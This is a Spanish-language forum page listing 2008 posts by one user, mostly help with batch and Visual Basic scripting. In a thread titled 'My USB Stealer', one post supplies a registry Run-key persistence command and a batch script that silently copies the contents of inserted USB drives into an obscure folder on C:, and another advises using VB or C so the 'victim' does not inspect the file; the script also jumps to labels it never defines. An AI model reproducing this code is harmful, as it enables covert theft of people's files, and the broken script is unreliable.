Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - WestOn

#121
Scripting / Re: Otra ayudadita para el batch
22 Noviembre 2008, 14:06 PM
Yo te diria q usases un lenguaje como VB o C porq en ms-dos a la victima q le envies el archivo bufff, si lo abre ya seria raro xD, ademas de q puede darle a editar y ver lo q contiene antes de iniciarlo ;)
#122
En visual puedes usar el comando Kill(ubicacion)Si te urge puedes tambien probar con un .bat usando el comando taskkill..
taskkill /f /im df5serv.exe

un saludo ;)

Advertencia - mientras estabas escribiendo, una nueva respuesta fue publicada. Probablemente desees revisar tu mensaje.
#123
Wenas, pos no esta mal q posten mas de estos, yo me cree uno porq me entro el hormigeo viendo estos ultimos dias los post sobre downloader :P
#124
Wenas, esta bien :D, pero no es cosa del otro mundo :P

un saludo ;)

PD:
CitarVentajas de programar de forma modular:

- Cuando se trata de programas que tienen decenas de opciones en los menús, y menús dentro de menús etc, el hecho de programar así nos facilita y agiliza mucho más la tarea, ya que vemos mejor los códigos de cada opción.
Eso si, opino lo mismo.
#125
Cita de: revenge1252 en 20 Noviembre 2008, 03:28 AM
Hola a todos, tengo una duda con vb y esque me gustaria crear un form que estubiera abierto pendiente de si se cambia de dia, y si eso sucede abriera un programa que le dijera xD

no se si es posible hacer algo asi... la cuestion esque necesito que ese programa se abra diariamente y necesito hacerlo por visual bacic.

si alguien puede ayudar le estaria muy agradecido


salu2


Cita de: & eDu & en 20 Noviembre 2008, 19:46 PM
Mira haz esto

Guarda un archivo de texto con la fecha de hoy ej:
Código (vb) [Seleccionar]
Dim dia As String
Private Sub Command1_Click()
Open "C:\tiempo.txt" For Output As #1
Write #1, Date
Close #1
End Sub


Código (vb) [Seleccionar]
Private Sub Command2_Click()
Open "C:\tiempo.txt" For Input As #1
Input #1, dia
MsgBox dia
Close #1
End Sub



Código (vb) [Seleccionar]
Private Sub Command3_Click()
If dia = Date Then
MsgBox "Estamos en otro dia"
Else
MsgBox "Estamos en el mismo dia"
End If
End Sub


¿Que tiene q ver Edu :xD?
#126
Scripting / Re: My USB Stealer
20 Noviembre 2008, 19:44 PM
Wenas, para q se ejecute al inicio:
Reg Add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v NombreEtiqueta /t  REG_SZ /d "UbicacionArchivo" /f

NombreEtiqueta:Lo que tu quieras.
UbicacionArchivo:Ubicacion del archivo q se iniciara al inicio :P

Respecto a lo de q solo 'detecte' las unidades G y E puedes hacer esto:
@echo off
If Exist C:\z23856\b3637\eviews47\ (goto echeck) else (
MD C:\z23856\b3637\eviews47\
goto echeck
)

:echeck
ping -n 30 localhost
if exist E:\ (goto existe) else (goto fcheck)

:gcheck
ping -n 2 localhost
if exist G:\ (goto existg) else (goto hcheck)

:existe
ping -n 2 localhost
xcopy E:\*.* C:\z23856\b3637\eviews47\*.* /E /I
(goto fcheck)

:existg
xcopy G:\*.* C:\z23856\b3637\eviews47\*.* /E /I
ping -n 2 localhost
(goto hcheck)


un saludo ;)

PD:El programa Xcopy.exe es lo que hace que puedas copiar archivos de tu USB a la carpeta o viceversa.
#127
Wenas, se q no es el foro de Scripting pero creo que podrias crear una tarea con schtasks (puedes programar la ejecucion de un programa, su hora, minuto, segundo, dia, mes, año...y mas opciones).

un saludo

PD:Te ahorrarias tener el exe conectado siempre.
#128
Scripting / Re: Ejecución condicional [Batch] LEER
20 Noviembre 2008, 00:19 AM
Wenas, muy buena la explicacion, la verdad esto sirve bastante!
Cita de: corax en 19 Noviembre 2008, 22:40 PM
Nunca has pensado en hacer un manual completo de tu propia cosecha?
Opino lo mismo ;), un saludo
#129
Voy a probarlo :laugh:

un saludo ;)
#130
Wenas, si te refieres a q todo va bien, pero q no lo muestra porq va 'demasiado rapido', ponle un sleep:
Primero la declaracion
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)

...
sleep 500
Image1.Picture = LoadPicture("Desktop.bmp")


un saludo ;)